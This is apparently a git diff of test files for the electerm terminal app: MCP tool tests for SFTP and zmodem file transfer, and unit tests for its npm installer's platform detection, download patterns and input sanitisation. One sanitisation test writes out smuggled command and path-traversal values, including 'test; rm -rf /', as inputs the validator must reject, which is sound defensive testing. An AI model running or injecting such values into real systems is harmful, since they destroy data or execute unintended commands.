assert.ok(result.path !== undefined, 'result.path should be present')
assert.ok(result.tabId !== undefined, 'result.tabId should be present')
}
})
// ==================== Full SFTP workflow (requires SSH connection) ====================
test('sftp: full workflow - list, stat, read, del', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const {
TEST_HOST,
TEST_PASS,
TEST_USER,
TEST_PORT
} = require('../e2e/common/env')
const wfId = Date.now()
const bookmarkTitle = `MCP2_SFTP_Test_${wfId}`
// Step 1: Create SSH bookmark
const addData = await callTool(sessionId, 140, 'add_electerm_bookmark_ssh', {
title: bookmarkTitle,
host: TEST_HOST,
port: parseInt(TEST_PORT, 10),
username: TEST_USER,
password: TEST_PASS
})
assert.ok(addData.result, 'add_bookmark should succeed')
const addResult = JSON.parse(addData.result.content[0].text)
assert.equal(addResult.success, true)
const bookmarkId = addResult.id
try {
// Step 2: Open the bookmark
const openData = await callTool(sessionId, 141, 'open_electerm_bookmark', { id: bookmarkId })
assert.ok(openData.result, 'open_bookmark should succeed')
// Wait for tab to initialize and SFTP panel to be ready
await new Promise(resolve => setTimeout(resolve, 8000))
// Step 3: List /tmp directory
const listData = await callTool(sessionId, 142, 'electerm_sftp_list', { remotePath: '/tmp' })
if (listData.result?.isError) {
// SFTP panel may not be initialized in test environment
assert.ok(listData.result.content[0].text, 'error message should be present')
} else {
assert.ok(listData.result, 'sftp_list should succeed')
const listResult = JSON.parse(listData.result.content[0].text)
assert.ok(Array.isArray(listResult.list), 'list should be an array')
}
// Step 4: Stat /tmp
const statData = await callTool(sessionId, 143, 'electerm_sftp_stat', { remotePath: '/tmp' })
if (statData.result?.isError) {
assert.ok(statData.result.content[0].text, 'error message should be present')
} else {
assert.ok(statData.result, 'sftp_stat should succeed')
const statResult = JSON.parse(statData.result.content[0].text)
assert.ok(statResult.stat !== undefined)
}
// Step 5: Read /etc/hostname
const readData = await callTool(sessionId, 144, 'electerm_sftp_read_file', { remotePath: '/etc/hostname' })
if (readData.result?.isError) {
assert.ok(readData.result.content[0].text, 'error message should be present')
} else {
assert.ok(readData.result, 'sftp_read_file should succeed')
const readResult = JSON.parse(readData.result.content[0].text)
assert.ok(readResult.content !== undefined)
}
} finally {
// Step 6: Clean up - delete test bookmark
await callTool(sessionId, 145, 'delete_electerm_bookmark', { id: bookmarkId })
}
})
// ==================== File Transfer - Upload ====================
test('sftp_upload: should start upload transfer', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const fs = require('fs')
const uploadFile = `/tmp/mcp2-test-upload-${uniqueId}.txt`
if (!fs.existsSync(uploadFile)) {
fs.writeFileSync(uploadFile, 'test upload content for MCP test')
}
const jsonData = await callTool(sessionId, 200, 'electerm_sftp_upload', {
localPath: uploadFile,
remotePath: uploadFile
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(result.success === true, 'upload should succeed')
assert.ok(result.transferId !== undefined, 'should have transferId')
assert.ok(result.tabId !== undefined, 'should have tabId')
}
})
// ==================== File Transfer - Download ====================
test('sftp_download: should start download transfer', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 210, 'electerm_sftp_download', {
remotePath: '/etc/hostname',
localPath: `/tmp/mcp2-downloaded-hostname-${uniqueId}.txt`
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(result.success === true, 'download should succeed')
assert.ok(result.transferId !== undefined, 'should have transferId')
assert.ok(result.tabId !== undefined, 'should have tabId')
}
})
test('sftp_download: should support conflictPolicy parameter', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 212, 'electerm_sftp_download', {
remotePath: '/etc/hostname',
localPath: `/tmp/mcp2-downloaded-hostname-ow-${uniqueId}.txt`,
conflictPolicy: 'overwrite'
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(result.success === true, 'download should succeed')
}
})
// ==================== Zmodem Upload (trzsz/rzsz) ====================
test('electerm_zmodem_upload: should initiate trz upload (trzsz, default)', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 300, 'electerm_zmodem_upload', {
files: [`/tmp/mcp2-trzsz-upload-${uniqueId}.txt`]
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.equal(result.success, true)
assert.ok(Array.isArray(result.files), 'result.files should be array')
assert.ok(result.tabId !== undefined, 'result.tabId should be present')
assert.equal(result.protocol, 'rzsz', 'default protocol should be rzsz')
assert.equal(result.command, 'rz', 'default command should be rz')
}
})
test('electerm_zmodem_upload: should initiate rz upload (rzsz protocol)', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 303, 'electerm_zmodem_upload', {
files: [`/tmp/mcp2-rzsz-upload-${uniqueId}.txt`],
protocol: 'rzsz'
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.equal(result.success, true)
assert.equal(result.protocol, 'rzsz', 'protocol should be rzsz')
assert.equal(result.command, 'rz', 'command should be rz for rzsz')
}
})
// ==================== Zmodem Download (trzsz/rzsz) ====================
test('electerm_zmodem_download: should initiate tsz download (trzsz, default)', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 310, 'electerm_zmodem_download', {
remoteFiles: [`/tmp/mcp2-trzsz-download-${uniqueId}.txt`],
saveFolder: '/tmp'
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.equal(result.success, true)
assert.ok(Array.isArray(result.remoteFiles), 'result.remoteFiles should be array')
assert.ok(result.saveFolder !== undefined, 'result.saveFolder should be present')
assert.ok(result.tabId !== undefined, 'result.tabId should be present')
assert.equal(result.protocol, 'rzsz', 'default protocol should be rzsz')
assert.equal(result.command, 'sz', 'default command should be sz')
}
})
test('electerm_zmodem_download: should initiate sz download (rzsz protocol)', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 313, 'electerm_zmodem_download', {
remoteFiles: [`/tmp/mcp2-rzsz-download-${uniqueId}.txt`],
saveFolder: '/tmp',
protocol: 'rzsz'
})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.equal(result.success, true)
assert.equal(result.protocol, 'rzsz', 'protocol should be rzsz')
assert.equal(result.command, 'sz', 'command should be sz for rzsz')
}
})
// ==================== Transfer List & History ====================
test('sftp_transfer_list: should return current transfer list', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 400, 'electerm_sftp_transfer_list', {})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(Array.isArray(result), 'result should be an array')
if (result.length > 0) {
const t = result[0]
assert.ok(t.id !== undefined, 'transfer should have id')
assert.ok(t.fromPath !== undefined, 'transfer should have fromPath')
assert.ok(t.toPath !== undefined, 'transfer should have toPath')
assert.ok(t.typeFrom !== undefined, 'transfer should have typeFrom')
assert.ok(t.typeTo !== undefined, 'transfer should have typeTo')
}
}
})
test('sftp_transfer_history: should return transfer history', { timeout: 100000 }, async function () {
if (!hasRenderer) return test.skip('No renderer available')
const jsonData = await callTool(sessionId, 410, 'electerm_sftp_transfer_history', {})
if (jsonData.error || jsonData.result?.isError) {
assert.ok(jsonData.error?.code !== undefined || jsonData.result?.isError, 'Error must have a code or isError flag')
} else {
const result = JSON.parse(jsonData.result.content[0].text)
assert.ok(Array.isArray(result), 'result should be an array')
if (result.length > 0) {
const h = result[0]
assert.ok(h.id !== undefined, 'history item should have id')
assert.ok(h.fromPath !== undefined, 'history item should have fromPath')
assert.ok(h.toPath !== undefined, 'history item should have toPath')
assert.ok(h.typeFrom !== undefined, 'history item should have typeFrom')
}
}
})
})
+368
View File
@@ -0,0 +1,368 @@
/**
* Unit tests for npm/install.js
* Tests that correct download patterns are selected for different OS/arch combinations
*/
/* eslint-env jest */
/* global describe, it, expect, beforeAll */
const https = require('https')
const {
isWindows7OrEarlier,
isMacOS10,
isLinuxLegacy,
getDownloadPattern
} = require('../../npm/install')
// Cache for version - fetched once from electerm website
let cachedVersion = null
async function getVersion () {
if (cachedVersion) {
return cachedVersion
}
cachedVersion = await new Promise((resolve, reject) => {
https.get('https://electerm.org/version.html', (res) => {
let data = ''
res.on('data', chunk => { data += chunk })
res.on('end', () => resolve(data.trim().replace('v', '')))
res.on('error', reject)
}).on('error', reject)
})
return cachedVersion
}
// Fetch version once before all tests
beforeAll(async () => {
await getVersion()
})
describe('npm/install.js', () => {
describe('isWindows7OrEarlier', () => {
it('should return false for non-Windows platforms', () => {
expect(isWindows7OrEarlier('darwin', '21.0.0')).toBe(false)
expect(isWindows7OrEarlier('linux', '5.4.0')).toBe(false)
})
it('should return true for Windows 7 (NT 6.1)', () => {
expect(isWindows7OrEarlier('win32', '6.1.7601')).toBe(true)
})
it('should return true for Windows Vista (NT 6.0)', () => {
expect(isWindows7OrEarlier('win32', '6.0.6000')).toBe(true)
})
it('should return true for Windows XP (NT 5.1)', () => {
expect(isWindows7OrEarlier('win32', '5.1.2600')).toBe(true)
})
it('should return false for Windows 8 (NT 6.2)', () => {
expect(isWindows7OrEarlier('win32', '6.2.9200')).toBe(false)
})
it('should return false for Windows 8.1 (NT 6.3)', () => {
expect(isWindows7OrEarlier('win32', '6.3.9600')).toBe(false)
})
it('should return false for Windows 10 (NT 10.0)', () => {
expect(isWindows7OrEarlier('win32', '10.0.19041')).toBe(false)
})
it('should return false for Windows 11 (NT 10.0)', () => {
expect(isWindows7OrEarlier('win32', '10.0.22000')).toBe(false)
})
})
describe('isMacOS10', () => {
it('should return false for non-macOS platforms', () => {
expect(isMacOS10('win32', '10.0.19041')).toBe(false)
expect(isMacOS10('linux', '5.4.0')).toBe(false)
})
it('should return true for macOS 10.15 Catalina (Darwin 19.x)', () => {
expect(isMacOS10('darwin', '19.6.0')).toBe(true)
})
it('should return true for macOS 10.14 Mojave (Darwin 18.x)', () => {
expect(isMacOS10('darwin', '18.7.0')).toBe(true)
})
it('should return true for macOS 10.13 High Sierra (Darwin 17.x)', () => {
expect(isMacOS10('darwin', '17.7.0')).toBe(true)
})
it('should return false for macOS 11 Big Sur (Darwin 20.x)', () => {
expect(isMacOS10('darwin', '20.6.0')).toBe(false)
})
it('should return false for macOS 12 Monterey (Darwin 21.x)', () => {
expect(isMacOS10('darwin', '21.6.0')).toBe(false)
})
it('should return false for macOS 13 Ventura (Darwin 22.x)', () => {
expect(isMacOS10('darwin', '22.1.0')).toBe(false)
})
it('should return false for macOS 14 Sonoma (Darwin 23.x)', () => {
expect(isMacOS10('darwin', '23.0.0')).toBe(false)
})
})
describe('isLinuxLegacy', () => {
it('should return false for non-Linux platforms', () => {
expect(isLinuxLegacy('win32', 2.31)).toBe(false)
expect(isLinuxLegacy('darwin', 2.31)).toBe(false)
})
it('should return true for glibc < 2.34', () => {
expect(isLinuxLegacy('linux', 2.31)).toBe(true)
expect(isLinuxLegacy('linux', 2.17)).toBe(true)
expect(isLinuxLegacy('linux', 2.33)).toBe(true)
})
it('should return false for glibc >= 2.34', () => {
expect(isLinuxLegacy('linux', 2.34)).toBe(false)
expect(isLinuxLegacy('linux', 2.35)).toBe(false)
expect(isLinuxLegacy('linux', 2.38)).toBe(false)
})
})
describe('getDownloadPattern', () => {
describe('Windows', () => {
it('should return win-x64 pattern for Windows x64', () => {
const result = getDownloadPattern('win32', 'x64', {})
expect(result.type).toBe('win-x64')
expect(result.pattern.test('electerm-2.3.151-win-x64.tar.gz')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-win-arm64.tar.gz')).toBe(false)
})
it('should return win-arm64 pattern for Windows arm64', () => {
const result = getDownloadPattern('win32', 'arm64', {})
expect(result.type).toBe('win-arm64')
expect(result.pattern.test('electerm-2.3.151-win-arm64.tar.gz')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-win-x64.tar.gz')).toBe(false)
})
it('should return win7 pattern for Windows 7', () => {
const result = getDownloadPattern('win32', 'x64', { win7: true })
expect(result.type).toBe('win7')
expect(result.pattern.test('electerm-2.3.151-win7.tar.gz')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-win-x64.tar.gz')).toBe(false)
})
it('should prefer win7 over arm64 when win7 flag is set', () => {
const result = getDownloadPattern('win32', 'arm64', { win7: true })
expect(result.type).toBe('win7')
})
})
describe('macOS', () => {
it('should return mac-x64 pattern for macOS x64', () => {
const result = getDownloadPattern('darwin', 'x64', {})
expect(result.type).toBe('mac-x64')
expect(result.pattern.test('electerm-2.3.151-mac-x64.dmg')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-mac-arm64.dmg')).toBe(false)
})
it('should return mac-arm64 pattern for macOS arm64 (Apple Silicon)', () => {
const result = getDownloadPattern('darwin', 'arm64', {})
expect(result.type).toBe('mac-arm64')
expect(result.pattern.test('electerm-2.3.151-mac-arm64.dmg')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-mac-x64.dmg')).toBe(false)
})
it('should return mac10-x64 pattern for macOS 10.x', () => {
const result = getDownloadPattern('darwin', 'x64', { mac10: true })
expect(result.type).toBe('mac10-x64')
expect(result.pattern.test('electerm-2.3.151-mac10-x64.dmg')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-mac-x64.dmg')).toBe(false)
})
it('should prefer mac10 over arm64 when mac10 flag is set', () => {
const result = getDownloadPattern('darwin', 'arm64', { mac10: true })
expect(result.type).toBe('mac10-x64')
})
})
describe('Linux', () => {
it('should return linux-x64 pattern for Linux x64', () => {
const result = getDownloadPattern('linux', 'x64', {})
expect(result.type).toBe('linux-x64')
expect(result.pattern.test('electerm-2.3.151-linux-x64.tar.gz')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-linux-x64-legacy.tar.gz')).toBe(false)
})
it('should return linux-arm64 pattern for Linux arm64', () => {
const result = getDownloadPattern('linux', 'arm64', {})
expect(result.type).toBe('linux-arm64')
expect(result.pattern.test('electerm-2.3.151-linux-arm64.tar.gz')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-linux-arm64-legacy.tar.gz')).toBe(false)
})
it('should return linux-armv7l pattern for Linux arm', () => {
const result = getDownloadPattern('linux', 'arm', {})
expect(result.type).toBe('linux-armv7l')
expect(result.pattern.test('electerm-2.3.151-linux-armv7l.tar.gz')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-linux-armv7l-legacy.tar.gz')).toBe(false)
})
it('should return linux-x64-legacy pattern for Linux x64 with old glibc', () => {
const result = getDownloadPattern('linux', 'x64', { linuxLegacy: true })
expect(result.type).toBe('linux-x64-legacy')
expect(result.pattern.test('electerm-2.3.151-linux-x64-legacy.tar.gz')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-linux-x64.tar.gz')).toBe(false)
})
it('should return linux-arm64-legacy pattern for Linux arm64 with old glibc', () => {
const result = getDownloadPattern('linux', 'arm64', { linuxLegacy: true })
expect(result.type).toBe('linux-arm64-legacy')
expect(result.pattern.test('electerm-2.3.151-linux-arm64-legacy.tar.gz')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-linux-arm64.tar.gz')).toBe(false)
})
it('should return linux-armv7l-legacy pattern for Linux arm with old glibc', () => {
const result = getDownloadPattern('linux', 'arm', { linuxLegacy: true })
expect(result.type).toBe('linux-armv7l-legacy')
expect(result.pattern.test('electerm-2.3.151-linux-armv7l-legacy.tar.gz')).toBe(true)
expect(result.pattern.test('electerm-2.3.151-linux-armv7l.tar.gz')).toBe(false)
})
})
describe('Unsupported platforms', () => {
it('should return unsupported for unknown platforms', () => {
const result = getDownloadPattern('freebsd', 'x64', {})
expect(result.type).toBe('unsupported')
expect(result.pattern).toBe(null)
})
it('should return unsupported for aix', () => {
const result = getDownloadPattern('aix', 'ppc64', {})
expect(result.type).toBe('unsupported')
})
})
})
describe('Pattern matching with actual release filenames', () => {
// Release files with current version from website
let releaseFiles = []
beforeAll(() => {
const v = cachedVersion
releaseFiles = [
`electerm-${v}-linux-aarch64-legacy.rpm`,
`electerm-${v}-linux-aarch64.rpm`,
`electerm-${v}-linux-amd64-legacy.deb`,
`electerm-${v}-linux-amd64.deb`,
`electerm-${v}-linux-amd64.snap`,
`electerm-${v}-linux-arm64-legacy.AppImage`,
`electerm-${v}-linux-arm64-legacy.deb`,
`electerm-${v}-linux-arm64-legacy.tar.gz`,
`electerm-${v}-linux-arm64.AppImage`,
`electerm-${v}-linux-arm64.deb`,
`electerm-${v}-linux-arm64.tar.gz`,
`electerm-${v}-linux-armv7l-legacy.AppImage`,
`electerm-${v}-linux-armv7l-legacy.deb`,
`electerm-${v}-linux-armv7l-legacy.rpm`,
`electerm-${v}-linux-armv7l-legacy.tar.gz`,
`electerm-${v}-linux-armv7l.AppImage`,
`electerm-${v}-linux-armv7l.deb`,
`electerm-${v}-linux-armv7l.rpm`,
`electerm-${v}-linux-armv7l.tar.gz`,
`electerm-${v}-linux-x64-legacy.tar.gz`,
`electerm-${v}-linux-x64.tar.gz`,
`electerm-${v}-linux-x86_64-legacy.AppImage`,
`electerm-${v}-linux-x86_64-legacy.rpm`,
`electerm-${v}-linux-x86_64.AppImage`,
`electerm-${v}-linux-x86_64.rpm`,
`electerm-${v}-mac-arm64.dmg`,
`electerm-${v}-mac-arm64.dmg.blockmap`,
`electerm-${v}-mac-x64.dmg`,
`electerm-${v}-mac-x64.dmg.blockmap`,
`electerm-${v}-mac10-x64.dmg`,
`electerm-${v}-mac10-x64.dmg.blockmap`,
`electerm-${v}-win-arm64-installer.exe`,
`electerm-${v}-win-arm64-installer.exe.blockmap`,
`electerm-${v}-win-arm64.tar.gz`,
`electerm-${v}-win-x64-installer.exe`,
`electerm-${v}-win-x64-installer.exe.blockmap`,
`electerm-${v}-win-x64-loose.tar.gz`,
`electerm-${v}-win-x64-portable.tar.gz`,
`electerm-${v}-win-x64.appx`,
`electerm-${v}-win-x64.tar.gz`,
`electerm-${v}-win7.tar.gz`
]
})
it('should match exactly one tar.gz file for win-x64', () => {
const { pattern } = getDownloadPattern('win32', 'x64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-win-x64.tar.gz`])
})
it('should match exactly one tar.gz file for win-arm64', () => {
const { pattern } = getDownloadPattern('win32', 'arm64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-win-arm64.tar.gz`])
})
it('should match exactly one tar.gz file for win7', () => {
const { pattern } = getDownloadPattern('win32', 'x64', { win7: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-win7.tar.gz`])
})
it('should match exactly one dmg file for mac-x64', () => {
const { pattern } = getDownloadPattern('darwin', 'x64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-mac-x64.dmg`])
})
it('should match exactly one dmg file for mac-arm64', () => {
const { pattern } = getDownloadPattern('darwin', 'arm64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-mac-arm64.dmg`])
})
it('should match exactly one dmg file for mac10-x64', () => {
const { pattern } = getDownloadPattern('darwin', 'x64', { mac10: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-mac10-x64.dmg`])
})
it('should match exactly one tar.gz file for linux-x64', () => {
const { pattern } = getDownloadPattern('linux', 'x64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-linux-x64.tar.gz`])
})
it('should match exactly one tar.gz file for linux-x64-legacy', () => {
const { pattern } = getDownloadPattern('linux', 'x64', { linuxLegacy: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-linux-x64-legacy.tar.gz`])
})
it('should match exactly one tar.gz file for linux-arm64', () => {
const { pattern } = getDownloadPattern('linux', 'arm64', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-linux-arm64.tar.gz`])
})
it('should match exactly one tar.gz file for linux-arm64-legacy', () => {
const { pattern } = getDownloadPattern('linux', 'arm64', { linuxLegacy: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-linux-arm64-legacy.tar.gz`])
})
it('should match exactly one tar.gz file for linux-armv7l', () => {
const { pattern } = getDownloadPattern('linux', 'arm', {})
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-linux-armv7l.tar.gz`])
})
it('should match exactly one tar.gz file for linux-armv7l-legacy', () => {
const { pattern } = getDownloadPattern('linux', 'arm', { linuxLegacy: true })
const matches = releaseFiles.filter(f => pattern.test(f))
expect(matches).toEqual([`electerm-${cachedVersion}-linux-armv7l-legacy.tar.gz`])
})
})
})
+630
View File
@@ -0,0 +1,630 @@
/**
* Tests for npm/install.js and npm/utils.js
* Tests platform detection, download patterns, extraction, and CLI launcher flow
*/
const os = require('os')
const path = require('path')
const fs = require('fs')
const tar = require('tar')
const {
isWindows7OrEarlier,
isMacOS10,
isLinuxLegacy,
sanitizeVersion,
sanitizeFilename,
getElectermExePath,
isElectermExtracted,
_packageRoot,
_extractDir
} = require('../../npm/install')
const {
httpGet,
extractTarGz,
download,
phin,
applyProxy,
formatBytes
} = require('../../npm/utils')
const plat = os.platform()
// ---------------------------------------------------------------------------
// Test helpers
// ---------------------------------------------------------------------------
let passed = 0
let failed = 0
const asyncQueue = []
function test (name, fn) {
try {
fn()
console.log(`${name}`)
passed++
} catch (e) {
console.error(`${name}`)
console.error(` Error: ${e.message}`)
failed++
}
}
function testAsync (name, fn) {
asyncQueue.push(async () => {
try {
await fn()
console.log(`${name}`)
passed++
} catch (e) {
console.error(`${name}`)
console.error(` Error: ${e.message}`)
failed++
}
})
}
function expect (actual) {
return {
toBe (expected) {
if (actual !== expected) {
throw new Error(`Expected ${expected} but got ${actual}`)
}
},
toEqual (expected) {
if (JSON.stringify(actual) !== JSON.stringify(expected)) {
throw new Error(`Expected ${JSON.stringify(expected)} but got ${JSON.stringify(actual)}`)
}
},
toContain (expected) {
if (!actual.includes(expected)) {
throw new Error(`Expected ${actual} to contain ${expected}`)
}
},
toMatch (pattern) {
if (!pattern.test(actual)) {
throw new Error(`Expected ${actual} to match ${pattern}`)
}
},
toBeTruthy () {
if (!actual) {
throw new Error(`Expected ${actual} to be truthy`)
}
},
toBeFalsy () {
if (actual) {
throw new Error(`Expected ${actual} to be falsy`)
}
}
}
}
function testThrows (fn, expectedMessage) {
try {
fn()
throw new Error('Expected function to throw')
} catch (e) {
if (e.message === 'Expected function to throw') throw e
if (expectedMessage && !e.message.includes(expectedMessage)) {
throw new Error(`Expected error to include "${expectedMessage}" but got "${e.message}"`)
}
}
}
// ---------------------------------------------------------------------------
// Download pattern helper (for testing)
// ---------------------------------------------------------------------------
function getDownloadPattern (platform, architecture, options = {}) {
const { win7, mac10, linuxLegacy } = options
if (platform === 'win32') {
if (win7) {
return { pattern: /electerm-\d+\.\d+\.\d+-win7\.tar\.gz$/, type: 'win7' }
} else if (architecture === 'arm64') {
return { pattern: /electerm-\d+\.\d+\.\d+-win-arm64\.tar\.gz$/, type: 'win-arm64' }
} else {
return { pattern: /electerm-\d+\.\d+\.\d+-win-x64\.tar\.gz$/, type: 'win-x64' }
}
} else if (platform === 'darwin') {
if (mac10) {
return { pattern: /mac10-x64\.dmg$/, type: 'mac10-x64' }
} else if (architecture === 'arm64') {
return { pattern: /mac-arm64\.dmg$/, type: 'mac-arm64' }
} else {
return { pattern: /mac-x64\.dmg$/, type: 'mac-x64' }
}
} else if (platform === 'linux') {
const suffix = linuxLegacy ? '-legacy' : ''
if (architecture === 'arm64' || architecture === 'aarch64') {
return { pattern: new RegExp(`linux-arm64${suffix}\\.tar\\.gz$`), type: `linux-arm64${suffix}` }
} else if (architecture === 'arm') {
return { pattern: new RegExp(`linux-armv7l${suffix}\\.tar\\.gz$`), type: `linux-armv7l${suffix}` }
} else if (architecture === 'loong64') {
return { pattern: new RegExp(`linux-loong64${suffix}\\.tar\\.gz$`), type: `linux-loong64${suffix}` }
} else {
return { pattern: new RegExp(`linux-x64${suffix}\\.tar\\.gz$`), type: `linux-x64${suffix}` }
}
}
return { pattern: null, type: 'unsupported' }
}
// =============================================================================
// Tests: Platform Detection
// =============================================================================
console.log('\n=== Platform Detection Tests ===\n')
test('isWindows7OrEarlier: returns false for non-Windows platforms', () => {
expect(isWindows7OrEarlier('darwin', '21.0.0')).toBe(false)
expect(isWindows7OrEarlier('linux', '5.4.0')).toBe(false)
})
test('isWindows7OrEarlier: returns true for Windows 7 (NT 6.1)', () => {
expect(isWindows7OrEarlier('win32', '6.1.7601')).toBe(true)
})
test('isWindows7OrEarlier: returns true for Windows Vista (NT 6.0)', () => {
expect(isWindows7OrEarlier('win32', '6.0.6000')).toBe(true)
})
test('isWindows7OrEarlier: returns true for Windows XP (NT 5.1)', () => {
expect(isWindows7OrEarlier('win32', '5.1.2600')).toBe(true)
})
test('isWindows7OrEarlier: returns false for Windows 8 (NT 6.2)', () => {
expect(isWindows7OrEarlier('win32', '6.2.9200')).toBe(false)
})
test('isWindows7OrEarlier: returns false for Windows 10 (NT 10.0)', () => {
expect(isWindows7OrEarlier('win32', '10.0.19041')).toBe(false)
})
test('isWindows7OrEarlier: returns false for Windows 11 (NT 10.0)', () => {
expect(isWindows7OrEarlier('win32', '10.0.22000')).toBe(false)
})
test('isMacOS10: returns false for non-macOS platforms', () => {
expect(isMacOS10('win32', '10.0.19041')).toBe(false)
expect(isMacOS10('linux', '5.4.0')).toBe(false)
})
test('isMacOS10: returns true for macOS 10.15 Catalina (Darwin 19.x)', () => {
expect(isMacOS10('darwin', '19.6.0')).toBe(true)
})
test('isMacOS10: returns true for macOS 10.14 Mojave (Darwin 18.x)', () => {
expect(isMacOS10('darwin', '18.7.0')).toBe(true)
})
test('isMacOS10: returns false for macOS 11 Big Sur (Darwin 20.x)', () => {
expect(isMacOS10('darwin', '20.6.0')).toBe(false)
})
test('isMacOS10: returns false for macOS 14 Sonoma (Darwin 23.x)', () => {
expect(isMacOS10('darwin', '23.0.0')).toBe(false)
})
test('isLinuxLegacy: returns false for non-Linux platforms', () => {
expect(isLinuxLegacy('win32')).toBe(false)
expect(isLinuxLegacy('darwin')).toBe(false)
})
// =============================================================================
// Tests: Security Sanitization
// =============================================================================
console.log('\n=== Security Sanitization Tests ===\n')
test('sanitizeVersion: removes v prefix', () => {
expect(sanitizeVersion('v1.2.3')).toBe('1.2.3')
})
test('sanitizeVersion: trims whitespace', () => {
expect(sanitizeVersion(' 1.2.3 ')).toBe('1.2.3')
})
test('sanitizeVersion: passes valid semver', () => {
expect(sanitizeVersion('1.2.3')).toBe('1.2.3')
expect(sanitizeVersion('3.2.0')).toBe('3.2.0')
})
test('sanitizeVersion: throws on invalid version', () => {
testThrows(() => sanitizeVersion('1.2'), 'validation')
testThrows(() => sanitizeVersion('abc'), 'validation')
testThrows(() => sanitizeVersion('1.2.3.4'), 'validation')
testThrows(() => sanitizeVersion('1.2.3-beta'), 'validation')
})
test('sanitizeFilename: passes valid filenames', () => {
expect(sanitizeFilename('electerm-3.2.0-linux-x64.tar.gz')).toBe('electerm-3.2.0-linux-x64.tar.gz')
expect(sanitizeFilename('electerm-3.2.0-mac-x64.dmg')).toBe('electerm-3.2.0-mac-x64.dmg')
})
test('sanitizeFilename: trims whitespace', () => {
expect(sanitizeFilename(' test.tar.gz ')).toBe('test.tar.gz')
})
test('sanitizeFilename: throws on invalid filenames', () => {
testThrows(() => sanitizeFilename('../evil.sh'), 'validation')
testThrows(() => sanitizeFilename('test; rm -rf /'), 'validation')
testThrows(() => sanitizeFilename('test$(whoami).tar.gz'), 'validation')
})
// =============================================================================
// Tests: Download Patterns
// =============================================================================
console.log('\n=== Download Pattern Tests ===\n')
const v = '3.2.0'
const releaseFiles = [
`electerm-${v}-linux-arm64.tar.gz`,
`electerm-${v}-linux-arm64-legacy.tar.gz`,
`electerm-${v}-linux-armv7l.tar.gz`,
`electerm-${v}-linux-armv7l-legacy.tar.gz`,
`electerm-${v}-linux-loong64.tar.gz`,
`electerm-${v}-linux-loong64-legacy.tar.gz`,
`electerm-${v}-linux-x64.tar.gz`,
`electerm-${v}-linux-x64-legacy.tar.gz`,
`electerm-${v}-mac-arm64.dmg`,
`electerm-${v}-mac-x64.dmg`,
`electerm-${v}-mac10-x64.dmg`,
`electerm-${v}-win-arm64.tar.gz`,
